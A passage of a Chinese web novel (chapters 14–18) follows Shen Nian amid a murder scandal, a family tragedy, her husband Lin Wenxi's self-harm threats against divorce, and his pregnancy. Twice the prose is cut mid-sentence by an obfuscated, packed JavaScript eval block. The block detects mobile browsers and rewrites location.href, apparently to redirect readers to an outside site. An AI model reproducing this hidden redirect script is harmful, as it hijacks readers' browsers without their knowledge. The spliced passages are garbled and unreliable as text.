翠娘和男人发起火:“你要说到什么时候?清茸只有我这个姐姐了,我之前能养他,以后也能养。” “养他?我和孩子跟着你过的是什么日子?”男人抱着孩子恸哭起来,“我们父子怎么就这么命苦……” 翠娘气的怒拍了下桌子,走过去和男人急头白脸的争吵起来。 一屋子鸡飞狗跳。 清茸没魂了一样从屋里飘到外面。 “沈娘子,你说像我这样的人还苟活再这世上,是不是太不该了?” “不会的,你能活到现在说明老天在保佑你,何况还有你阿姐,你们好不容易才再见面不是吗?” 清茸蹲下埋着头,连哭声都不敢发出来惹人嫌,“可我觉得我不该回来,阿姐她已经有了自己的家,我……是个外人了。” 这是别人的家事,沈年也没有插手的份,她踌躇半晌也不知道该说什么有用。 “作证的事罢了吧,我再想想别的办法。” “我可以作证。” 甲卫从屋顶上跳下来心疼的盯着清茸向沈年道。 沈年摇摇头,“你是霁王的亲卫,若现在把霁王扯进来,难保她不会鱼死网破,起兵弄的天下大乱。” 甲卫丧气的垂下头,俯身下去摸了摸清茸的头安慰。 清茸骂了她一句:“你滚开,别碰我。” 甲卫倔着按住他的胳膊,“你跟我走吧,这已经不是你的家了。” 清茸掉着眼泪,用指甲掐甲卫的手指,“还不是全都怪你,你怎么还不去死。” “我死了,你怎么办。” 沈年好不容易插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334044|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进一句话:“清茸,她说的也对,你现在呆在这也是成日吵个不停,不如你暂时跟她去客栈住。” 清茸也自知呆在这只会闹的家里鸡犬不宁,无奈还是同意了。 沈年回去见了林闻溪一面。 “你们林府里的人对你亲近吗?” 林闻溪愣了一下,“怎么突然回来问这个。” 沈年一股脑想知道答案:“亲还是不亲?” “我和他们不熟。” 沈年:“……” “那等你回去了有地方住吗?” “不知道,我到沈府后就没再回去了。” 她和林闻溪和离后,他会不会也像清茸一样走到无家可归,无人可依的境地。 这个问题没能容沈年思考多久。 因为发生了一件让所有人都始料未及的事情。 刘知夷死了。 死在郊外一座偏僻的寺庙里。 被人发现的时候他身上穿着一件红袍,下身赤裸着,倒在一张破烂的木塌上,当心插着一把刀,死不瞑目。 他竟然是个男人。 隐藏多年的辛秘被以一种惨烈的、近乎羞辱的姿态公之于众。 这种百年难得一见的奇事艳闻,但凡长了张嘴的谁能忍不住说道几句,在脑中编排一出大戏。 刘知夷被杀的案子不单在兰城,甚至在京中都引起了极大的轰动。 豪绅大族往往是一荣俱荣,一损俱损,同宗一姓内里关系再僵,外人看来也是同气连枝的一家人,哪有不被波及的道理。 从前无人敢贱脚踏贵地,现在刘宅大门前门庭若市,可谓算的上是一处观光宝地了。 虽自出了事刘宅便门户紧闭,除了飞禽走鸟没有别的活物进出,刘家的铺子也接二连三的关了门。 但兰城百姓还是乐此不疲,每日总免不了三四个人指着刘宅的牌匾,饶有兴致的给过路人讲上一番传奇。 从那日将阿久赶回去后,沈年就再也没见到过他了。 沈年没想到因为刘知夷的名声,阿久也被人捎带议论纷纷。 “刘家那个小公子时常在外抛头露面,坐在他家那铺子上常盯着人瞧,不知道是不是在恨赘思春……” “可不是嘛,叔叔和侄儿……一脉相承也不一定。” …… 沈年心中胧着一层重重的负罪感,她无意中将阿久推向了泥潭。 人言可畏,沈年听闻刘家正在变卖地产以及古董瓷器这些东西准备举家搬迁了。 刘宅的马车是在半夜里出发的,沈年想和阿久道声歉,但看到他是被用担子抬着出来的,下身似乎动不了,她等了许久但没机会靠近。 人走了,她才走上前去。 蹲在地上捡起从阿久马车里扔出来的帕子。 她认得,是那日阿久用来包着那张婚书的帕子。 上面是一行血字。 “我不会放过你的,或许哪日我就会出现在你身边看着你。” 还有一张笑着的怪脸图案。 半夜里看的沈年汗毛倒立,慌张溜回了院子。 有刘知夷的这一桩命案做引子,堤坝贪腐之事终于被揭开,上达天听。 15. 第 15 章 此案朝野上下哗然,陛下震怒,御笔亲点了几位钦差大员昼夜兼程赶赴兰城来督查此案,为此事连殿选都推迟了半月,河道上一切事务全等几位钦差到任后再议。 大事已定,二人又搬回了自家院子,沈年暂且没再提和离之事,成日关在柴房里画图,等她获了陛下的赏,得了钱帛后给林闻溪安置一间小宅,让他好歹有个安身立命的居所后再说不迟。 沈年两三日连轴转一会画图,一会在空间里用车床加工图纸,工程量太大所需用具数以千计,凭她一个人根本忙不过来,累的整个上身趴在桌案上的一堆纸里瘫着。 柴门吱呀一声被推开,林闻溪见状脚步急促的放下手里的东西走到近前来,轻推了下沈年。 “三娘,你这是怎么了?” 沈年双目无神,抬起头正对上林闻溪一双忧心的眼睛。 “有些乏了而已,你怎又过来了?” 林闻溪低眉顺眼,打量着沈年的脸色说话:“我看三娘整日劳累,煨了一碗红参鸡汤给三娘补气提神用。” 他说着小心翼翼的盛了一小碗自己先喝下,打消沈年的顾虑。 “有空想想你自己的事,不用你替我操这些心。” 沈年冷着脸并不受他的好意。 这两日沈年虽日日在家,但林闻溪见不着她的面,有几次他还没叩门,沈年听见他的脚步,隔着门就把他请了回去。 今日能相见不易,他怎会三言两语就被沈年堵回去。 他端着汤碗舀了一小勺喂到沈年嘴边。 “瞧三娘的乌眼青,我特意查的食谱三娘还是尝尝吧。” “都说了不用。” 沈年不耐烦的向后仰了仰,不小心碰到他的上身,汤碗本就烫,林闻溪的手一抖,汤全数洒到了沈年画的图纸上,连着浸湿了好几张。 还溅到沈年脸上几滴,林闻溪忙拿出帕子帮她擦拭,她脸色头一次黑的吓人。 “三娘……我并非是有意……” 林闻溪不成想好心办坏事,手足无措跪坐在沈年面前话都说不利索了。 沈年怒不可遏,咬牙切齿挤出两个字:“出去……” “我帮三娘拿出去晾一晾。” 林闻溪捧着那几张纸慌里慌张跑了出去。 等他走后沈年绷不住怒捶几下桌子发泄,她忙了两日的心血全数被林闻溪给搅黄了,她不指着林闻溪的脸骂他一顿已算是好的了。 这男人一味的只会给她添堵。 西天的弯月升起又落下,沈年被几声闷闷的叩门声唤醒。 熬了一晚,她都不知觉自己何时伏在桌案上睡过去的,此刻眼睛都睁不开。 她有气无力的出声:“谁?” “三娘,是我。” 林闻溪弱弱的声线穿过木门传进来。 又来! 沈年翻了个白眼,懒得搭理他又趴下昏昏欲睡。 “三娘……” …… 林闻溪在门口不厌其烦的唤她。 沈年忍无可忍起身把门敞开。 “你究竟有完没完!” 林闻溪被沈年开门掀起的风吹的一晃,他怀里抱着几卷纸,还是昨日那身衣服,脸色同样显得憔悴。 “三娘,我昨夜照着你的那几张画,临摹了一遍,三娘看看可否弥补。” 他说着展开一卷纸给沈年过目。 沈年扫了一眼,虽然错漏百出但明显看是费了工夫的,而且但他居然是用墨笔画的根本没有涂改的机会。 “你一夜没睡?” 林闻溪点头:“我耽误了三娘的正事不敢睡,不知这图尚可用否?” 沈年从他手中接过微微笑了下,没忍心弗他的心意,出言宽他的心:“画的不错。” 林闻溪也跟着她脸上有了笑容。 沈年正发愁林闻溪日后的生计,端详着眼前的这几张图心里有了主意。 “我教你画图可好。” 林闻溪闻言眼眸一亮,他对这些横七竖八的图纸并无甚兴趣,但能日日伴于桌案,再使些软招总能打消沈年和离的念头。 “三娘愿意教我当然好了。” 林闻溪欢天喜地答应下来,没想到不出一日的工夫心里就叫苦不迭,他发觉自己总干这种搬起石头砸自己的脚的蠢事。 “还没画好?拿过来我瞧瞧。” 沈年从纸堆里将头仰起来,严肃的倚在靠背上向他晃了晃手指。 林闻溪咬着笔头战战兢兢的下笔,在小桌前磨蹭许久才拿了纸挪到沈年身边。 沈年一路盯着他,还没等他抬手就从他手中将纸抢过来看。 一阵沉默,沈年看一眼纸,又长长的瞧一眼他的脸。 林闻溪埋着头恨不得眼睛长到后背去,好看不到沈年的表情。 沈年将纸拍到桌上,捏着他的下巴把他的脸抬起来,“你是不是演的?” 林闻溪一脸无辜闷闷的问:“演什么?” 沈年将纸推到他面前,“你说呢。” “没有……三娘这个太难了,我学不会。” 林闻溪说着就将身子往前倾,往沈年肩上蹭。 沈年捏起支笔抵在他肩上向后推,“你没骨头是不是,自己坐不住?” 林闻溪可怜兮兮地抓着沈年的手不放,“三娘别这么凶我……” 沈年觉得他像身上长了膏药,有点小缝就能粘上来,气不打一处来掰开他的手指,“我哪里凶你了,你平时不是挺机灵的,一到正经事怎么笨的和头牛一样。” 林闻溪赌气扭过头,“我就生了这一副脑子,换不了。” “你这是什么态度?” “三娘教我些简单的。” 林闻溪服了软,又凑过来卖乖。 “这本就是最简单的,”沈年将纸抖起来给他看,“你的基准线在哪?说了几次叫你标出来,还有俯视图这条线该不该有……” 林闻溪假模假样的的听着,伸手探到后面揽上沈年的腰,将脸窝在她颈间似是而非的亲吻。 “你到底有没有在听我说话。” 沈年感受他温热的气息,低头下去看他到底在做什么。 林闻溪的手从她腰上一路攀到耳尖用手指轻轻揉捏。 沈年握着他的手腕,“别这样。” “三娘,我想你。” 林闻溪眼中浮动着一汪春池,他微微抬头按着沈年的后颈亲吻。 沈年像是被他灌了迷魂汤,本要 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“怎么了这是!” “清茸的姐姐……没了,他也要寻死。” “翠娘她死了?” 甲卫麻木的点头,“都是因为我。” 沈年错愕之下都忘了让甲卫进院,还是听到声响的小薇和白石各自跑出来将两人抬到小薇屋中。 清茸摔的浑身淤青,身上不知有多少处骨折,甲卫眼神空洞像是个枯骨架子上套了层人皮。 沈年看她半死不活的样子揪着她的衣领,朝她脸上挥了一拳,“你究竟是干什么吃的!” 甲卫流着的泪像是都带着血丝,她垂首跪在沈年脚下,全然没有了印象中的傲骨,“是霁王她派人来灭我的口,我察觉到危险就让清茸回家,自己藏起来。翠娘的男人他为了霁王的赏银骗清茸引我出来,翠娘发觉追去阻拦……就被霁王的人给杀了。” “你为什么不早一点来找我。” “我以为凭我武艺……我不靠你也可以护好他……清茸说的对,我是该早一点死掉才对。” 说着她就要拔刀出来架在自己脖子上,最后看了清茸一眼,对沈年道:“他就拜托给沈娘子照顾了……” 沈年一脚将他踹倒,刀摔在地上振出冷冽的声响,“你欠的债凭什么要我帮你还。” “你活着比死了更有用,翠娘她现在在哪,带我去找她。” 翠娘的死状一如书中所写的那般,沈年抹泪不忍再细看,和甲卫一起寻了个好地方将她入土为安。 沈年在空间内为翠娘刻了石碑,每刻一笔,她脑中就浮现出她来到这书中遇到的人,不是只存在与词句中的,而是成了一个个活生生的人。 他们会鲜血淋漓的死去,会变作一座无言的坟。 一旦没了她的干预,这些人的命运就会滑向原本的轨迹。 刻到最后一笔时,沈年想起林闻溪伏在她肩上睡着的模样,温和恬静。 她不想林闻溪走向他的结局,变成面目狰狞的恶鬼,她要让林闻溪离开沈府,林家,离他的结局越远越好。 16. 第 16 章 听甲卫所说清茸亲眼撞见了翠娘的尸首,凄厉的嚎哭了一声,不等人反应的工夫转身就往崖下跳。 幸亏被山腰上的树木的横枝拦住,才还留了一口气。 二人葬好翠娘回来,白石已按照甲卫的话,将清茸里里外外包的只露了半张脸在外面。 甲卫门都没有进,在门口瞟了一下,将身上的一瓶瓶药掏出来,在瓶身留下贴纸记好药效用法交到白石手中,“依我说的让他养伤,很快会好的。” 话毕唤沈年道:“我们走吧。” “我送你走三年五载是回不来的,你不再看一眼吗?” 甲卫的目光像是闪着寒光的利刃,悲苦万分,“不用,没给清茸的阿姐报仇之前我无颜见他。” 沈年沉声无言,带着她叩响了罗府的门。 罗从宛高中榜首府中一派喜气,连前来应门的小侍从头上都簪了朵红花。 沈年拱手道了声喜,小侍从笑着往里迎,看到她身后站着的浑身血腥气的甲卫,像是也被吓了一跳。 罗从宛见到她的面便躬身一拜,“我正准备明日登门去拜谢沈娘子,沈娘子怎么先来了?” 沈年把她扶起来惭愧道:“听闻罗大人还是被朝臣参了失察之罪,恐怕陛下会有所顾虑,将你外放出任了。” 罗从宛洒脱地笑笑,“只要母亲能平安无虞,做不做的成京官有何所谓。盛京朝堂亦或是边陲小县皆是王土,治下百姓都是我朝子民,在我眼中并没什么分别。” 沈年心中:不愧是女主!!! “赴任途中山遥路远,我特意带了个侍卫来护你周全。” 沈年将甲卫拉到罗从宛面前殷切说道。 罗从宛上下打量了她一眼:“侍卫?” 沈年拍拍甲卫紧实的臂膀,“你上任带她一人足矣,而且日后你定有用的上她的地方。” 罗从宛看着沈年不知该如何感恩:“既是阿年好意,我自当领受。” 沈年听着女主唤她的这一声阿年暗爽,毕竟书中女主算的上一枝傲才自负的高岭之花,居然这么轻而易举的沦陷在她手中了。 “你日后跟着从宛少露面,清茸我会帮你照顾的。” 沈年辞别了两人,临走时甲卫屈膝跪地向她一拜。 “沈娘子……一切保重。” …… 沈年回去时林闻溪怀里揣着她的枕头睡的安稳,一点都没被院子里的声音所扰。 沈年拨开他遮在眼睫上的碎发,这张脸明明看着和善的很,而且说到底也没做要她命的事,给她下药的事就拿今日的吻相抵了吧。 到底后面是她主动压着林闻溪回吻,还摸到了他的腰上去,是她占了人家便宜。 沈年从塌前移开,坐到桌案前提笔字斟句酌,将和离书写好下按上手印。 她从罗府出来时跟罗督丞开口借了银两,不知林闻想去何处安宅,或许等明日他醒来问一问。 她躺在外间的小塌上倚着睡着。 直到她迷迷糊糊感觉身边有人在走动,屋里灰蒙蒙的不知道是什么时辰,一睁眼林闻溪背着光坐在她对面,周身散着一层暗光,唯独一张脸隐在黑处看不见五官。 他握着剪刀,刀尖正停在心口处蓄势待发。 沈年看清楚他的动作一个激灵从榻上滚下来。 “你又闹这一出?” 林闻溪轻笑一声:“三娘是不是以为我只是吓唬你玩玩。” “我真的是为你好,沈府不是你呆的地方,就算和离我也不会不管——” “我说了我宁愿死都不会离。” 林闻溪手中毫不犹豫的发力,刀尖刺破薄衫扎向他的肌肤,登时将染成一片红。 沈年冲过去掐住他的手腕夺刀。 “松手!你疯了,拿自己的性命开玩笑!” 林闻溪挣着继续向里面扎,沈年终于看见了他的脸,他眼角划着几滴本能的泪水,面目癫狂,“我说的每句话都不是开玩笑,你为何从来都听不进去!” 沈年将刀刃握在手里,声气几近于乞求,“你看到那些银锭没,我会给你置间宅子,日后我会供你生活……” “我才不要一个人,为什么你宁愿这样都要扔了我,我天生就活该惹人厌对吗!” 林闻溪彻底崩溃嘶声喊着,他挣不过沈年反将身子往前一撞。 “别!”沈年腾出一只手向后推他,右手将刀刃在手心抓紧,剪刀的另一侧刃也压在她手背上,她的手似要断了一般,血滴滴答答的滴在地板上,声音越来越快。 “三娘……” 林闻溪看到沈年额上的冷汗,刹那清醒过来,松开手起身去求救。 他四肢发软没走几步便摔了一跤,爬起来又扶着墙出去。 幸亏有甲卫留下的金疮药很快止了的血,不然大半夜的弄成这么重的伤大夫都没处去找,这只手日后难保能不能使了。 林闻溪常年冰冷的手都被惊的渗汗,衣袖上到处沾着不知是他的还是沈年的血,红红点点一连串。 沈年躺在榻上向里偏着脸,由着林闻溪握着她的手摆弄。 “三娘,你说句话好不好,疼不疼?” 小薇在旁看的揪心,沈年和林闻溪近来一直闹别扭她知道,一直以来碍于是人家夫妻两的事,她从未多问。 而且她越发看出来了,沈年不像是传言中的浑物,林闻溪也不是表面看那般的端庄贤静。 这一出十有八九是林闻溪挑起来的。闹成的这样动刀见血的,她实在忍不住劝告沈年几句。 “三娘子若与少君处不来,不如写封信回去请府中人过来将少君接回去如何?” 林闻溪闻言抬眼幽怨的瞟了小薇一眼,摇着沈年的胳膊,“三娘,我不要回去。” 沈年疲惫的向小薇摆了摆手,“我做不了他的主,罢了折腾一夜了你回去歇着吧。” “三娘子……” 小薇的话被林闻溪的眼神挡了回去,无奈退出门去。 林闻溪挨着沈年侧躺,又换了一副样子央求她。 沈年听的烦,“随便你吧,以后是死是活都是你自找的。” 林闻溪满意的在沈年耳边笑了声,“有三娘在我身边,我才不会死,会过的很好。” 沈年无言。 林闻溪又去亲她的脸,“那张纸我烧干净了,三娘以后不许再写那些字了。” 他不管沈年的冷淡一味贴上去搂抱。 沈年伤了手画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334046|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了图不说,吃饭都格外费劲,林闻溪只好换着式样煲汤给沈年喝。 自沈年不再提和离的事,林闻溪整个人都和煦了起来,煮的汤院里的人都有份,连清茸都有一碗。 “你怎么给自己不留一碗。” 沈年扭着头不敢看自己的伤口,药洒上去痛的她把身下的褥子抓的皱成一团。 林闻溪瞥见沈年的反应,又是心疼又是自责,停下动作抿起了嘴。 “煮饭多了,没什么胃口。” 沈年:“是累吗?” “有一点。” 林闻溪小声念叨了句,低着头帮沈年把伤口用纱布包好。 林闻溪从前一个人操持这院子都没喊过累,今日说这话倒是少见,沈年不免忧心。 “光顾着我,你的伤好点没。” 林闻溪将药瓶推到沈年手中,“我正要说呢,白石忙着照顾床上那男子,今日三娘帮我上药吧。” 沈年:“我一只手怎么帮你?” “简单攃点药上去就行。” 林闻溪起身将纱帘拉上又坐回来,脸颊泛红盯着沈年将衣衫一点点拉开,像是成心给她欣赏自己一样。 “三娘,如何?” 沈年不知道他问的是哪里如何,只说了句:“伤口好多了。” “那三娘先上药。” 林闻溪不知不觉又往前沈年眼前凑了几分,沈年眼神飘忽将药从瓶口往出倒的时候不小心洒的到处都是。 林闻溪寻到机会就眼神迷离往沈年怀里贴要亲要抱。 沈年伸手掩住他的唇瓣,将他的衣衫往里拢了拢。 “青天白日的,这不行。” 林闻溪倒在沈年怀里不起来像是撒娇,“我们是拜了堂的夫妻,有什么不行的。” “以前我碰一下脸你都害羞,现在怎么这样。” 林闻溪正襟危坐,低头理了理头发,“我现在这样子是不是......很放荡。” 沈年忙着解释:“别用这个词说自己,我只是觉得你有些不一样而已。” 林闻溪仍是失落自羞的神态,将衣带扯出来紧紧系成一个死结,尽力不露出一点肌肤来。 沈年见状把他拉过来,哄小孩一样捧着脸亲了亲,“这总行了吧,药还没上你穿上衣裳做什么。” 林闻溪咧着嘴又笑了,“三娘,我喜欢你亲我。” 林闻溪学这些事情格外的快,药洒上去一点就喊疼,说沈年亲一下他就不疼了,最后又主动含上了沈年的唇,咬着不放。 沈年总觉得林闻溪不大对劲,突然黏人黏的太过,面对他沈年的心总放不踏实,留了个心眼常看他。 林闻溪也自觉沉溺其中,有意克制自己少往沈年跟前贴了。 他给自己寻了事做,坐在窗边有一针没一针的做衣裳,但他心思并不在上面,偷懒瞧着片片浮云消磨工夫,纵背对着沈年,他也察觉得到沈年正在瞟着他。 他近来精神不济,时常倦怠的很,有时不知觉就打起盹了。 他将头依在窗框上想睡睡,脑中兀的闪过一个念头,怔怔的坐直。 他该不会是……怀上孩子了吧。 算算日子,离那次也有差不多一个月了。 17. 第 17 章 林闻溪的爹爹去的早,去了林府又不得母亲怜爱,府中的几位哥哥即便不得母亲偏爱栽培,但至少还有父亲帮衬教养。 唯独他孤零零的一人,只有出阁那天林主君走过场交代了他几句去了妻家要恭顺贤静之类的话。 过门后服侍妻主的规矩,怀胎生女的秘法门道等这些里屋之事,他听闻成婚前夜府中长辈都会专门请人来教习。 他未曾学过这些,不知道男子有孕后是什么样,一时也不敢下定论。 林闻溪回头偷偷瞄了沈年一眼,心中怅然。 沈年与这里的女子不甚相同,似乎并不怎么喜欢孩子,若他腹中真的怀了沈年的胎……她会不会欢喜呢。 这是桩大事,林闻溪不敢瞒着。 他放下手中的针线,走过去挨着沈年身侧坐下。 沈年一早注意到了他的小动作,继续佯装看书等着林闻溪开口听他要说什么。 林闻溪把手搭在沈年腕上,“我不大舒服,三娘请个大夫来给我瞧瞧吧。” 按林闻溪的性子,这般主动示弱不像是要作妖,沈年把书从脸上挪开,“哪不舒服,是伤口疼吗?” 林闻溪捂着心口,耷拉着脑袋一副可怜样,“伤口疼,头感觉也晕。” 这事他自己心里没谱,不敢贸然告诉沈年,反正等大夫来了把把脉便能知晓了。 沈年探出手指在他胸口处碰了碰,忧心道:“莫不是伤口感染了吧。” 这病在古代可不是小事,沈年不敢耽搁,将林闻溪扶到塌边,“你先去榻上躺着,我请大夫来。” 目送沈年匆匆离去,林闻溪弯着嘴角,低头摸了摸自己还尚平坦的小腹自顾自念道:“你娘亲很疼我呢,你也要乖点,托生成个女儿让爹爹少受点罪。” 一柱香的时日,沈年引着大夫推门回来,本想着寻个男医方便看林闻溪的伤,打听了几人都说兰城没有。 果然林闻溪拽着自己的衣裳不让沈年碰。 “男人的身子怎可给外人看。” “不让看伤口怎么给你治病,人家是大夫没有别的心思。” 林闻溪说什么都不肯依,只说帮他搭个脉就好了,沈年也无可奈何只能先让大夫搭脉看看大概。 林闻溪想看又不敢看大夫的反应,溜着眼珠转来转去。 但没有听到他期盼的中的报喜之言,大夫反倒眉头紧锁,按在脉上久久不语。 他难掩失落心口郁结着一股怨气,果然他不会如此走运,只一次就能怀上。 沈年在旁看着,心提到嗓子眼,围着两人不安的走动,终于状着胆子开口问:“大夫,他……没什么大事吧。” 大夫挪开手向沈年道:“你家郎君这是喜脉。” 沈年半张着嘴,当场石化整个人裂成几块。 林闻溪抬起头惊喜,似又活过一般乍然间有了神采,含羞看向沈年。 一旁的白石赶忙向沈年道喜,又向大夫问:“既是喜事,大夫怎皱着眉,把我们几个都吓的不轻。” 大夫摆摆头,“郎君的身子虚寒又思虑过重,本不宜此时有孕,这孩子恐难保的住……” 林闻溪自己知道这孩子或许是他喝的那几碗坐胎药催来的。 看沈年的表情不大好,又听大夫如此说,没高兴多久脸色也暗了下来。 小薇推了推沈年的肩,“三娘子这可如何,要拿个主意才是。” 沈年看了林闻溪一眼,扶着桌角勉强坐下来,“这孩子有几成把握能保,会不会连带着损伤父体?” “月份还小还可再看些时日,不过眼下以我医术看目前至多有三成,父子一体自然损伤是免不了的,沈娘子可去京中寻大夫来瞧瞧,或许能有转圜。” “好……有劳大夫了。” 沈年站起来将大夫送出门到了院外才敢问:“如这孩子难保,可否……” 大夫闻言打开了话匣子,“我本不敢说这话,既然沈娘子提了我也不避讳,与其保这胎不如趁着月份小早些送走,与郎君的身子损害也小。” 接二连三的变故太多,沈年懵懵的点头后游荡回了屋里。 林闻溪缩在被子里小声啜泣,白石在旁拍着他的肩安慰。 “我陪着他吧。” 沈年强打着精神走过去坐下。 “三娘……”林闻溪闻言探出头来,枕在沈年腿上不安的握上她的手,“我们的孩子会平安出生的吧。” “孩子不要紧,你好好的就成。” 林闻溪猛地坐起来,眼尾发红的盯着沈年对视。 “她是我与三娘的亲生骨肉,三娘一点都不在意她吗?” 沈年伸手握住他的脖颈摸了摸安抚:“她留不住的......到时候连你都——” “大夫不是说了找京中的名医来看,三娘没试过怎知道留不住,我养好身子说不定就能给三娘添个女儿......” 林闻溪越说越激动,脖颈上的青筋都泛起来。 沈年将他拢到怀里拍着他的后背,“好好好,我明日就托人去请大夫成不成,你缓缓气别急。” 林闻溪平息下来,拉着沈年的手摸着他的小腹碎碎念,“三娘别只关心我,也疼疼这孩子,不然万一她听见,以后不亲近三娘了。” “才一个月都没成形呢,能听见什么。” 林闻溪抬头轻轻掐了下沈年的脸,又圈住她的脖子依在身上,“三娘别乱说。” 沈年拍着他的后背将人哄着睡着。 出门按大夫写的保胎药方抓了几方药,又请了位书生拟了一封信打算,明日一早雇人快马寄到沈府,请个好大夫再来瞧一瞧。 一院子病人,苦了白石和小薇根本忙不过来。沈年揽了熬药的差事过来,在院里围着几个药壶转。 林闻溪睡的沉,沈年唤他几声都不见醒,又伏到塌边推了推他。 “起来吃点东西先,还有药熬好了给你晾着呢。” 林闻溪贪睡眼都睁不开,沈年用温水给他抹了抹脸,扶着他坐起来。 白石在乡下见得孕夫多,刚有身子的时候确实会比平日缠人些,离不了自家娘子。 白石一脸害羞说的含糊其辞,沈年不大懂,全由着林闻溪的心意。 他跪坐在沈年身上,低头束起的发尾搭在肩上,摸着沈年的下颌将自己脸贴的极近,偏头做着要亲吻的姿势但又故意停在那里等沈年主动。 沈年遂了他的意,单手扶着他的腰仰头凑上去。 林闻溪闭上眼全情投入,沈年尽可能轻柔的满足他,林闻溪跟沈年学了不少,探出舌尖勾缠着她深吻,屋里只有两人的亲吻声。 林闻溪渐渐喘不 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林闻溪如释重负的放下碗筷,捧起药就咕噜咕噜往下倒。 沈年准备的蜜枣一点没用上,“喝药倒是快,你不觉得苦吗?” “苦啊,不过一直都习惯了。” 沈年好奇问了问,“你是经常生病不成,喝药还能习惯。” “我偶尔发个烧爹爹他就嫌我事多,哪敢经常生病。”林闻溪捡起一颗沈年递过来的蜜枣放进嘴里,“我要是叫苦的讨这些甜嘴吃的话,他会生气摔东西的。” 沈年晓得林闻溪幼时过的苦,亲耳听到他说这些和纸上看到的几个字完全不同,很难不让人心疼,“生病不是你的错,或许他有苦衷,你别太在意了。” “我懂的,爹爹一个人带着我在外面日子也不好过,我又不会讨母亲欢喜,连累了他没能入府早早去了。” 这种事沈年再说什么也显得苍白无力,握着他的手安慰。 林闻溪没有伤心太久,看向沈年小声问了一句,“三娘是从哪里来的,怎么这些事都知道。” 沈年打哈哈,“我就在这,能从哪里来。” 林闻溪挪过来将沈年肩上的衣裳扯了扯,露出那一颗小痣,“就别瞒我了,那个人肩上是没有这个的。” “没有吗?你是不是记错了。” “不会记错。” 沈年若实话实说,林闻溪一定会刨根问底,与其让他知道自己那么凄惨的结局不如不说的好。 “我的却不是她,”沈年承认了一半,随后又假装吃醋岔开话题,“你对她的身体记得这么清楚,是不是和她也亲近过。” 林闻溪果然被她牵着鼻子走,认真解释道:“没有的事,她并不喜欢我,我只是伺候沐浴的时候不小心看到,我只和三娘有过。” 林闻溪还觉得没说清楚又在沈年耳边羞赧耳语一句,“三娘若不信可今夜验一验。” 沈年起身收拾碗碟的得逞笑一声,“我逗你玩的,这种事要怎么验。” 林闻溪一点不恼,这样的话是夫妻间的闲情逸趣,私下里说来更让他觉得二人此刻的亲近无间。 他觉得自己此刻像泡在蜜坛子里一般,从前的那些苦都不作数了。 18. 第 18 章 入夜塌前的纱帘重重掩着帐中男子隐忍暧昧的闷哼,偶尔轻轻唤几声三娘。 沈年的吻从他胸口移开,抬头捧着他的脸腼腆的对着他笑,松松挽着的发垂在耳边,发尾散在他的腰间,烛火照着她微红的脸,好看极了。 林闻溪握着沈年的手腕,将脸侧过更贴在她掌心,眉目含情看向她问了句话。 “三娘可喜欢我吗?” 沈年闻言蹙眉停顿一下,一时不知该如何回话,她无疑是喜欢林闻溪的身子的,每一处都长的合她口味。 至于他这个人,喜欢二字她眼下也说不出口。 “当我没说,三娘别想了。” 林闻溪瞥见沈年犹豫思忖的表情急着将话收回,沈年前几日还一心要与他和离,从何说的起喜欢,他自讨无趣问这话做什么。 他浅浅笑了下拽了沈年的胳膊将她按到自己怀中。 “你小心些。”沈年半撑着胳膊低头去看生怕压到他身上。 “我有分寸的。”林闻溪扳说着过她的脸,圈着她的后颈与她挨的极近,有意无意用腿蹭蹭她示意继续刚才的事。 林闻溪近渴已解但或许是这胎怀的不稳的缘故总不知餍足,沈年拢了拢他的散乱的头发,他刚才面色上被她染起的红几句话的空隙就消散下去了,此刻又没什么血气。 沈年心忧不敢再纵着他,起身下榻用温水帮他擦净身子,林闻溪气了两声背过身不理沈年,不一会静悄悄睡着。 晨起罗督丞派人来传话说昨日夜里几位钦差已在馆驿下榻,让沈年陪同前去迎接。 林闻溪靠着软枕半躺着,懒懒的瞧着沈年在他身旁系衣裳,时不时伸出手帮她整平衣摆。 沈年起身要走时按捺不住从身后搂上来,靠在她背上默默的不说话,却又偷偷使力不让人走。 沈年笑了一声,“这是不气了。” “早些回来。”林闻溪丢下几个字,觉得没面子又钻回被中假装合着眼困倦。 “小郎这是一刻也离不得人了。”沈年趴在他耳朵故意捏着腔调说话逗他玩。 林闻溪扭过头又羞又恼在沈年脸上不轻不重的拍了两下,“谁教你说这些油腔滑调的,不许乱学。” 沈年出门时脸上还残留着林闻溪嘴巴软软的触感,忍不住摸了摸他亲过的那位置。 罗督丞将官服穿的一丝不苟,已在堂中等候她多时,沈年进去后忙拱手说自己来迟了。 “你这手是……” 沈年颔首一顿,胡诌了个说辞:“制作用具的时候不当心被刃割了下,不碍事。” “这伤的不浅,又是病又是伤的,你这孩子近来是不是冲到什么煞了,明日去庙里拜拜,请大师父解一解。” 沈年假装挠脸干笑了两声,“好,等得空我就去除除邪。” 罗督丞一脸关心的点头,抬手示意侍从将制衣端到沈年面前。 “换上这身衣裳也算半个官府中人,到了几位钦差面前也好引荐。” 罗督丞两次三番提携于她,也不摆着长辈的谱时常对她关怀,沈年莫名有些想哭。 自她记事的时候父母便成日摔盆砸碗争吵不停,两人分开后她一直跟着父亲生活,很多年没再见过母亲了。 她见到父亲总免不了大哭一场,沈年懂她的恨,一直以来暗自把思念藏在心里,不去打扰她的生活。 